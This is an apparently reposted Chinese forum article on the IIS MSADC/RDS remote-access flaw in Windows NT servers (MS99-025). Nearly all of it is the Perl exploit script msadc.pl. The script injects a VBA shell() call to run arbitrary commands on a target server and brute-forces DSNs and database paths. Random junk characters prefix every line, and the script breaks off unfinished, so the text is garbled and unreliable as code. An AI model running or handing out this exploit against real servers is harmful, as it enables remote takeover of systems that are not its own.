IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
=4sx(< 0Y'ow=8M 涉及程序:
`t\\O Microsoft NT server
AiL80W^=d) iJeodfC 描述:
>oN Wf 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
}]M'f:%b BnfuI 详细:
%O!TS_~9 如果你没有时间读详细内容的话,就删除:
kT]jJbb" c:\Program Files\Common Files\System\Msadc\msadcs.dll
>l #D9% 有关的安全问题就没有了。
,xR u74 &grvlK 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
E,dUO; R!
n7g8I% 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
89j:YfA=v 关于利用ODBC远程漏洞的描述,请参看:
#k1IrqUp L]H'
]wpn= http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm N`{6<Z0 ZNl1e' 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
>K&chg@Hv http://www.microsoft.com/security/bulletins/MS99-025faq.asp .'. bokl/ ?p/}eRgi 这里不再论述。
h:|BQC XZS%az1% 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
K2\)9 ujl?! /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
vRn]u57O 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
M]M>z>1*v R+t]]n6# `mI5Z*]- #将下面这段保存为txt文件,然后: "perl -x 文件名"
<$pv;]n cL!A,+S[_ #!perl
u\MxQIo'u #
,6#%+u}f # MSADC/RDS 'usage' (aka exploit) script
q!+:zZu #
]NtBP # by rain.forest.puppy
k7{|\w% #
c<lEFk!g # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
MBLDxsZ- # beta test and find errors!
6tjV^sjs }#;.b'` use Socket; use Getopt::Std;
/fLm
)vN getopts("e:vd:h:XR", \%args);
Um4DVg5 p-lFzNPc0 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
]d~{8h!G '/9q7?[E! if (!defined $args{h} && !defined $args{R}) {
;;m;f^]} print qq~
"'GhE+>Z Usage: msadc.pl -h <host> { -d <delay> -X -v }
G;J)[y -h <host> = host you want to scan (ip or domain)
x%O6/rl -d <seconds> = delay between calls, default 1 second
s"J)Jc -X = dump Index Server path table, if available
_"OE}$C -v = verbose
'/OQ[f=K -e = external dictionary file for step 5
@Kn@j D; y Tn<5T[H Or a -R will resume a command session
X 5X D1[
H:9G/Nev ~; exit;}
S{v]B_N[M #0Uz1[ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
o2hk!#5[4 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Ycx}FYTY if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
xtIF)M if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
+V9xKhR;x $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
s? Xgo&rS_ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
ADVS}d!;] k4!_(X%8 if (!defined $args{R}){ $ret = &has_msadc;
yGSZ;BDW:K die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
VXlAK( %rgW}Z5 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
=F Y2O`%a . "cmd /c ";
fBh/$ $in=<STDIN>; chomp $in;
Hq,@j{($ $command="cmd /c " . $in ;
#D%6b Qca3{|r` if (defined $args{R}) {&load; exit;}
BjsTHS& fLd2{jI, print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
4eG\>#5 &try_btcustmr;
LXsZk|IhM TI<3>R print "\nStep 2: Trying to make our own DSN...";
n)Cr<^j &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
7-Oa34ba+ aG]^8`~>' print "\nStep 3: Trying known DSNs...";
}%jpqip &known_dsn;
v`jHd*&6) bq8Wvlv04 print "\nStep 4: Trying known .mdbs...";
IbJl/N%o &known_mdb;
s$(%?,yf2 >dJ~ if (defined $args{e}){
$+ N~Fa print "\nStep 5: Trying dictionary of DSN names...";
Lfdg5D5.P &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
ij~- CWRB/WH: print "Sorry Charley...maybe next time?\n";
+Mhk<A[s exit;
tJn"$A^N "vQ%`
Q ##############################################################################
RLL%l Z
h9D^I sub sendraw { # ripped and modded from whisker
LH=^3Gw sleep($delay); # it's a DoS on the server! At least on mine...
>Yk|(!v my ($pstr)=@_;
?Yf
v^DQ5 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
JZ*.;}" die("Socket problems\n");
;UUgqX# if(connect(S,pack "SnA4x8",2,80,$target)){
sWMln:= select(S); $|=1;
PB.'huu print $pstr; my @in=<S>;
1-N+qNSD` select(STDOUT); close(S);
~K;hXf return @in;
C2\WvE%! } else { die("Can't connect...\n"); }}
sKsMF:|OT @iXBy:@ ##############################################################################
}
XhL`% ?*yB&(a:8 sub make_header { # make the HTTP request
xGbq,~_r my $msadc=<<EOT
^,t@HN;gA POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
6>;OVX User-Agent: ACTIVEDATA
0!KYi_3 Host: $ip
MEJX5qG6m Content-Length: $clen
%.]#3tW Connection: Keep-Alive
*RVCz|0%w *5*#Z~dut8 ADCClientVersion:01.06
W[qy4\.B Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
rFkZ'rp74b `-{? ! --!ADM!ROX!YOUR!WORLD!
x4g/ok Content-Type: application/x-varg
vu91"
4Fa Content-Length: $reqlen
[hpkE lE Jc}6kFgO6 EOT
@1gURx&2_ ; $msadc=~s/\n/\r\n/g;
GG<0k\RN return $msadc;}
U{bv|vF IbL'Z ##############################################################################
*| W*Mu
:TR:tf sub make_req { # make the RDS request
qsXkm4 my ($switch, $p1, $p2)=@_;
<_Z.fdUA my $req=""; my $t1, $t2, $query, $dsn;
)!cucY x3#:C= if ($switch==1){ # this is the btcustmr.mdb query
T0"nzukd $query="Select * from Customers where City=" . make_shell();
>3B{sn} $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
L-rV+?i`6f $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
izGU&VeB )?{!7/H F@ elsif ($switch==2){ # this is general make table query
WQze|b% $query="create table AZZ (B int, C varchar(10))";
9L3P'!Z $dsn="$p1";}
WLwi eyp_.1C~ elsif ($switch==3){ # this is general exploit table query
]B3+&g $query="select * from AZZ where C=" . make_shell();
2yZ~j_AF[ $dsn="$p1";}
:t9![y[=| t']/2m.&p elsif ($switch==4){ # attempt to hork file info from index server
^ <`SUBI $query="select path from scope()";
vV$^`WY4 $dsn="Provider=MSIDXS;";}
OHj>ufwVq ZI qXkD elsif ($switch==5){ # bad query
+r//8& $query="select";
<Opw"yY&q] $dsn="$p1";}
(|o@ rw3tU0j $t1= make_unicode($query);
pc@mQI $t2= make_unicode($dsn);
F?]J`F\I $req = "\x02\x00\x03\x00";
Ta/zDc"e $req.= "\x08\x00" . pack ("S1", length($t1));
2|i1} $req.= "\x00\x00" . $t1 ;
z;2& d<h $req.= "\x08\x00" . pack ("S1", length($t2));
?V+\E2 $req.= "\x00\x00" . $t2 ;
5S!j$_( $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
:p@jslD return $req;}
V9}\0joM eq8faC5 ##############################################################################
bma.RCyY< 3+d^Bpp4 sub make_shell { # this makes the shell() statement
#W|Obc]K return "'|shell(\"$command\")|'";}
n3&h1- RMpiwO^ ##############################################################################
:<{15:1 qxAh8RR;/ sub make_unicode { # quick little function to convert to unicode
":qHDL3 my ($in)=@_; my $out;
}fkdv6mz for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
,Nhv#U<$
return $out;}
E3[9!L8gb Pi |Z\j) ##############################################################################
?u:mscb ht L1aQ. sub rdo_success { # checks for RDO return success (this is kludge)
)4s7,R my (@in) = @_; my $base=content_start(@in);
9I
[:#,zdf if($in[$base]=~/multipart\/mixed/){
50Gu~No6 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
`$FX%p return 0;}
eFS$ ;3FP1 He4HIZ ##############################################################################
0-{E% k islHtX
VE sub make_dsn { # this makes a DSN for us
7t#Q8u? my @drives=("c","d","e","f");
V#.pi zb print "\nMaking DSN: ";
4guR8 elM foreach $drive (@drives) {
t\
z@k9 print "$drive: ";
&=M4Z/Ao my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
w/*#TDR "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
}a,ycFt . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
btnD+O66< $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
\),f?f-m return 0 if $2 eq "404"; # not found/doesn't exist
u$zRm(!RB if($2 eq "200") {
fJ5mKN foreach $line (@results) {
.57Fh)Y return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
^'tT_
gT } return 0;}
>@cBDS<6R `uk=2k}&m ##############################################################################
GYb&'#F~t fK]%*i_" sub verify_exists {
cpw=2vnD my ($page)=@_;
;Gn>W+Ae
M my @results=sendraw("GET $page HTTP/1.0\n\n");
mOHOv61
return $results[0];}
pCo3%( 6'e^np ##############################################################################
YIZu{ lDKyD`WKnZ sub try_btcustmr {
E
$\nb]JQ my @drives=("c","d","e","f");
?f3R+4 my @dirs=("winnt","winnt35","winnt351","win","windows");
B=%%3V)2 o@dTiQK_ foreach $dir (@dirs) {
J1cz
D |( print "$dir -> "; # fun status so you can see progress
u*5}c7)uId foreach $drive (@drives) {
B<-("P(q print "$drive: "; # ditto
)eZ}Kt+ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
_w%:PnO $reqlenlen=length( "$reqlen" );
I9aiAD0s $clen= 206 + $reqlenlen + $reqlen;
!t~tIJ>6 u9,dSR my @results=sendraw(make_header() . make_req(1,$drive,$dir));
1'(";
0I if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
.{?;#Cdn else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
W-|CK&1 <P0 P*>M ##############################################################################
eg?p)| *HHL a sub odbc_error {
[:(O`# my (@in)=@_; my $base;
aZ{ l6 my $base = content_start(@in);
[PiMu,O[v if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
Ah@e9`_r $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
[Y.JC'F# $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
g$"x,:2x{ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
'-n
Iy$> return $in[$base+4].$in[$base+5].$in[$base+6];}
F !OD*] print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
|&-*&)iD|w print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
eY?OUS $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
''q;yKpaz >Je$WE3 ##############################################################################
)G, S7A &FOq c sub verbose {
/y4A?*w 6 my ($in)=@_;
6(htpT%J return if !$verbose;
CKe72OC print STDOUT "\n$in\n";}
gp 11/. NYg&